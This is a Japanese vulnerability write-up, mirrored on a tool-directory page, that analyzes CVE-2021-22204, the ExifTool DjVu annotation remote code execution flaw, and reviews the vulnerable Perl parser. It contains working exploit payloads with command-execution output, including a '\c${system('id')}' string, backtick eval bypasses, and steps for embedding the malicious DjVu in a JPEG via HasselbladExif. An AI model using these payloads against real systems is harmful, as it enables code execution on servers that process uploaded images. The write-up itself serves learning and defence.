Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-22204 — CVE-2021-22204 (ExifTool RCE) の詳細な技術分析:PoC再現、ペイロード構築、脆弱なDjVu注釈パーサーのPerlコードレビュー。 | Kitploit
ツール/GitHubGitHub/trganda/cve-2021-22204
脆弱性分析コード分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHubtrganda/cve-2021-22204

CVE-2021-22204

CVE-2021-22204 (ExifTool RCE) の詳細な技術分析:PoC再現、ペイロード構築、脆弱なDjVu注釈パーサーのPerlコードレビュー。

リポジトリを見る
34年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ExifTool リモートコード実行脆弱性

これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。

正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。

POC - convisolabs

読んだ記事の一つは[1]で、脆弱性の原因について簡潔に説明していますが、私はPerlのコードが読めないため、多くの点が不明でした。その再現手順は以下の通りです。

exiftool 12.23をダウンロード

root@kitploit:~
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

解凍してインストール

root@kitploit:~
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

もちろん、インストールしたくない場合は、exiftool-12.23ディレクトリ内のexiftoolファイルを環境変数PATHの通っているディレクトリに配置するだけでも、exiftoolツールを使えます。Perlは解釈型言語であり、Pythonと似ているからです。

悪意のある画像を作成するために、まず必要なツールをインストール

root@kitploit:~
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

以下のコマンドを実行して悪意のあるdjvuファイルを作成

root@kitploit:~
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# これが最も困惑した点で、なぜ圧縮が必要なのか理解できませんでした(他のPoCでは不要だったため)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = 'N,N'形式の任意の数字
# BGjp = JPEG画像を期待するが、/dev/nullを使用して背景画像をなしにできる
# ANTz = 入力ファイルで圧縮されたアノテーションチャンクを書き込む

次に、exiftoolツールでこの悪意のあるファイルを解析すると、idコマンドが正常に実行されたことがわかります

root@kitploit:~
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

先ほどdjvumakeコマンドでdjvu形式ファイルを作成する際に、payloadを圧縮しなくてもよいのでしょうか?分析の観点からは、確認やテストが不便だからです。もちろん可能で、パラメータANTzをANTaに変更するだけです。ここでのANTzとANTaについてはexiftoolの説明ドキュメント[3]を参照できますが、具体的な意味はまだ見つけられていません。標準的な説明が見つからなかったからです。

ここで愚痴を言いたいのですが、man djvumakeでパラメータの説明を確認しようとしたところ、ANTzとANTaの説明はまったくありませんでした。ドキュメントの日付は2001年で、長い間更新されていないようです。

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTaはdjvuファイル内のmetadataにAnnotationを平文で保存することを示し、ANTzはbzz圧縮形式です。

しかし、djvu形式のファイルはあまり一般的ではありません。特に画像アップロード機能のあるWebサイトでは、ほとんどの場合png/jpg/jpegファイルのみを受け付けます。そのため、悪意のあるdjvuファイルをjpgファイルに変換できれば理想的です。

exiftoolツールは画像の内容を変更するのに役立ちます。悪意のあるdjvuファイルをjpgファイルの適切な位置に挿入するだけでよいのです。具体的にどの位置か、なぜその位置でよいのかは、後で分析する際に説明します。

exiftool設定ファイル eval.config を作成

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b は Tag 'HasselbladExif'[6] に対応
        0xc51b => {
            # 名前は自由に指定可能。これが受け取るパラメータ名
            Name => 'HasselbladExif',
            # 書き込み可能な変数の型
            Writable => 'string',
            # 書き込まれるデータが属する metadata の Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

exiftool設定ファイルの書き方については[4][5]を参照してください。次に、普通のjpg画像ファイル poc.jpg を用意し、以下のコマンドを実行します

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

再びexiftoolでpoc.jpgを解析すると、コマンドが正常に実行されます

root@kitploit:~
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

脆弱性分析

以下の分析は[2]の内容を参考にしています。脆弱性の影響を受けるバージョンはexiftool < 12.24で、問題のファイルは

root@kitploit:~
lib/Image/ExifTool/DjVu.pm (line 202)

関連する関数のコードは以下の通りです

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Perl言語に触れたことがなく、正直なところこのコードが何をしているのかほとんど理解できませんでした。しかし、非常に丁寧なコメントがあるおかげで、この関数の機能を理解する助けになりました。関数のコメントから、この関数はdjvuファイル内のアノテーションデータを解析するためのものであり、コードの構造から再帰的に処理され、アノテーションデータは()で区切られていることがわかります。

Perl 正規表現

コードを理解しやすくするために、また学習の目的も兼ねて、ここでPerlの正規表現の使い方を簡単に紹介します。

Perlの正規表現の使い方は特殊で、これまで私が触れてきた言語とは異なります。Perlの正規表現には3つの形式があります:

  • マッチ m//、mは省略可能
  • 置換 s///
  • 変換 tr///

//の間には正規表現や文字列が入りますが、区切り文字は//に限定されず{}なども使用可能です。これがPerl言語の特徴です。

まずマッチのコード例を見てみましょう

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
$str =~ /this/;

print $str;
print "\n";

Perlでは=~演算子を使用して正規表現機能を利用します。上記のコードでは、正規表現がマッチするかどうかに関わらず、$strを出力するとthis is a stringとなります。ただし、マッチしなかった場合はブール値falseを返します。

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
if ($str =~ /this12/) {
    print "true\n";
} else {
    print "false\n";
}

文字列変数の内容を置換したい場合は、次のようにします

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;


print $str;
print "\n";

# output
# this is str

置換機能を使用すると、変数の値が直接変更されます。

Perlの正規表現について理解したところで、先ほどの関数を再び見てみましょう

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    # 渡された引数(リファレンス)を取得
    my $dataPt = shift;
    print($$dataPt);
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            # 左括弧があれば再帰処理
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                # 前回の正規表現マッチの位置を取得。ここに到達した時点で、その位置が最初の引用符の位置
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                # 再度右引用符の位置をマッチし、引用符間の内容を切り出す
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                print($tok."\n");
                # we're good unless quote was escaped by odd number of backslashes
                # バックスラッシュの数が奇数かどうかをチェック。後のqq{""}で行末の"がエスケープされるのを防ぐ
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                # 奇数なら、"を補う
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            print(qq{"$tok"}."\n");
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

理解を助けるために、exiftoolが解析時にこの関数を実行する適切なファイルが必要です。先ほどの方法でdjvuファイルexploit.djvuを作成し、ペイロードは以下の通りとします

root@kitploit:~
(metadata (Author "trganda"))

次に、ParseAnt($)関数の重要な箇所にprintを追加して情報を出力します(上記参照)。その後、exiftoolのソースディレクトリで以下を実行

root@kitploit:~
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore

ここから、最終的にevalに渡される内容は、ダブルクォートを忘れずに

root@kitploit:~
"trganda"

では、trgandaをsystem関数に置き換えてコマンドを実行できるか試してみましょう

root@kitploit:~
$tok = "${system('id')};";
# output
# "\${system('id')};"

実行すると出力は単にテキストが渡されただけで、コードは実行されません。これは$が\$に置き換えられるためです

root@kitploit:~
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;

では、どのようにしてこの制限を回避するのでしょうか?[2]の著者はテスト中に以下のペイロードを使用しました。

root@kitploit:~
(metadata (Author "a\
""))

実行後の出力は以下の通りで、evalが例外をスローしました。

root@kitploit:~
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\

a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

ここで、このペイロードを渡した後に何が起こるかを説明します。主に2番目のforループに注目します

root@kitploit:~
# Author の Annotation の内容は、\n を忘れずに
"a\(\n)
""
# forループで最初に部分文字列を切り出す。$tok の内容は次の通り。最初の正規表現で最初の引用符にマッチし、2回目で2行目の最初の引用符にマッチ
a\(\n)
# 次に、コードは行末の\の数が奇数かどうかをチェックし、奇数なら"を補う。
# 正規表現 $tok =~ /(\\+)$/ でのマッチでは、$はテキストの末尾ではなく\nにマッチする。
# そのため、後続のコードが実行され、$tokの末尾に"が追加される。
a\(\n)"
# 2回目のループで部分文字列を切り出す。2行目の""の間の内容を取得するが、ここは空であり、$tokに結合すると先ほどと同じ結果になる
a\(\n)"
# その後、evalで実行される内容は
qq{"$tok"} -> "a\(\n)""
# eval実行後エラーが発生。"が閉じていないため
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Perlにおけるevalの実行ロジックについては、公式ドキュメント[9]を参照することをお勧めします。ただし、ドキュメントに記載されていない部分もあり、また私がPerlを使ったことがないため、最初は一部の内容を理解できませんでした。コードサンプルでテストを繰り返しながら、evalの特定のロジックを理解していきました。以下では、この脆弱性を理解するのに役立つ内容をいくつか挙げ、その後実際のペイロードの実行プロセスについて説明します。

Perl の eval

Perlにおけるevalの機能は、コード断片の実行に加えて、例外をキャッチし、プログラムの実行を中断しないことです。evalは文字列定数、文字列変数、あるいは直接コードを入れて解析実行できます。

root@kitploit:~
# 文字列定数
eval "system('id')";
# 変数
$cm = "system('id')";
eval $cm;
eval "$cm";
# 直接コードを実行
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

evalの実行戦略は、最後のサブステートメントの結果のみを返すことです。つまり、複数のコードブロックが含まれている場合、最後の結果のみが取得されます。以下のような感じです:

root@kitploit:~
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST

evalが特定のステートメントの実行中にエラーが発生した場合、後続のコードは実行されず、例外がスローされます(もしあれば)。

先ほどテスト用のペイロードに戻って、何か気づきはありますか?もし"をうまく閉じて、実行したいコードを2行目の"の間に配置できれば、コードはevalで実行されるようになります。[2]の著者は以下の形式を示しています:

root@kitploit:~
(metadata
    (Author "\
" . return `date`; #")
)
# 最終的にevalに渡される内容は
"\
" . return `date`; #"

では、evalで実行されるこの部分をどのように理解すればよいでしょうか?まず、Perlでは.演算子は文字列の連結に使用されます。そのため、最初に

root@kitploit:~
return `date`;

が実行され、その結果が\(\n)と連結されます。実際、このreturnがなくてもdateコマンドの実行には影響しません。最後の"はコメントアウトされています。

もちろん、以下のように書くこともできます:

root@kitploit:~
(metadata (Author "\
"; return `date`; #"))
# 最終的にevalに渡される内容は
"\
"; return `date`; #"

この方法では、evalはまず"\(\n)";を解析します。この部分は文字列として解釈され、その後後続のステートメントが解析されます。その結果、dateコマンドが正常に実行されます。

上記のペイロードを実行すると、以下の結果が表示され、正常に実行されたことがわかります。

root@kitploit:~
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
...
Author                          : 2021年 11月 04日 星期四 15:22:05 CST.
...

その他のバイパス方法

ここまで書いてきて少し疲れました。[2]の著者が示したpayloadは、"を回避することで非常に完璧に実行できますが、他にも方法はあるのでしょうか?実は、最初の[1]の内容にすでに答えがありました:

root@kitploit:~
(metadata "\c${system('id)};") ;")は原文ママ。正しくは\c${system('id')}; のはずだが、引用のままにする

ParseAnt($)関数は$記号を置き換えるため、直接実行することはできません。では、なぜこれが可能なのでしょうか?\cの役割に興味はありませんか?まず、このペイロードでdjvuファイルを作成し、exiftoolで解析すると、evalに渡される内容は:

root@kitploit:~
"\c\${system('id')};"

\cが存在しない場合:

root@kitploit:~
"\${system('id')};"

このコードは実行されず、最終的に返されるのは単なる文字列です。なぜなら、$記号がエスケープされているからです。\cの役割は、$の前の\の効果を取り消し、後続のコードを実行可能にすることです。Perlには多くのエスケープ文字があり、\cもその一つですが、単独では使用せず、任意の文字と組み合わせて使用します。

エスケープ文字意味
\cX制御文字。Xは任意の文字

これにより、\c\が別の内容として解釈され、後続のコードが実行されるようになります。

その他のファイル形式

これまでに作成した悪意のあるファイルは、すべてdjvu形式に限定されていました。もし一般的なファイル、例えばjpg画像などを作成できれば、より意味があります。そのためには、脆弱性のある関数ParseAnt($)を呼び出すファイルの解析箇所を見つける必要があります。

上位検索により、ProcessAnt($$$)がParseAnt($)を呼び出すことがわかりましたが、それ以上さかのぼると直接見つけることができません。

root@kitploit:~
ProcessAnt($$$)
	|
	v
 ParseAnt($)

Perl言語にはモジュールの動的ロード機構があるため、Djvu.pmがどこでロードされるかを調べてみましょう。

1636264024890.png

見つかったファイルを1つずつ調べると、lib/Image/ExifTool.pmのline 2620に以下のコードがあり、ファイルのタイプに応じて対応するモジュールをロードして処理することがわかります。

root@kitploit:~
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
	# ...
	        my $module = $moduleName{$type};
            $module = $type unless defined $module;
            my $func = "Process$type";

            # load module if necessary
            if ($module) {
                require "Image/ExifTool/$module.pm";
                $func = "Image::ExifTool::${module}::$func";
            } elsif ($module eq '0') {
                $self->SetFileType();
                $self->Warn('Unsupported file type');
                last;
            }
	# ...
}

その後、ExtractInfo($;@)がどこで呼ばれるかを調べると、複数箇所あります。主にlib/Image/ExifTool/Exif.pmのline 3004のコードに注目します:

root@kitploit:~
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
    GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
    WRITE_PROC => \&WriteExif,
    CHECK_PROC => \&CheckExif,
    WRITE_GROUP => 'ExifIFD',   # default write group
    SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
    # ...
	0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },
    # ...
);

%Image::ExifTool::Exif::MainはMap形式のテーブルであり、Exif.pmの機能はコメントにもある通り、EXIF/TIFF形式のメタデータ情報を読み取るためのものです。

Description: Read EXIF/TIFF meta information

実は、先ほどの再現で%Image::ExifTool::Exif::Mainを見た時に、その中の0xc51bが何を意味するのか、なぜこの値でなければならないのか理解できませんでした。今では、ファイル内のメタデータが0xc51bのIDを含んでいれば、それがExtractInfo関数で解析され、徐々に脆弱性のある関数に到達することがわかります。

そのため、先ほどexiftoolの強力なカスタム機能を使用してconfigファイルを作成し、通常のjpgファイルをカスタマイズして0xc51bという種類のメタデータを挿入し、そこに悪意のある内容を格納しました。これで、トリガー全体のプロセスがほぼ明確になり、私の疑問もすべて解消されました。[2]の著者は、他のファイル形式に悪意のあるデータを挿入する方法も示しており、考え方はこれと同様です。

修正方法

githubのdiffを確認した結果は以下の通りです。

diff

参考資料

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)

[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io

[3] TagNames of DjVu

[4] TagNames Explan

[5] Exiftool User Defined Configuration File

[6] EXIF

[7] Groups

[8] exiftool-arbitrary-code-execution

[9] eval in Perl

ツールをダウンロード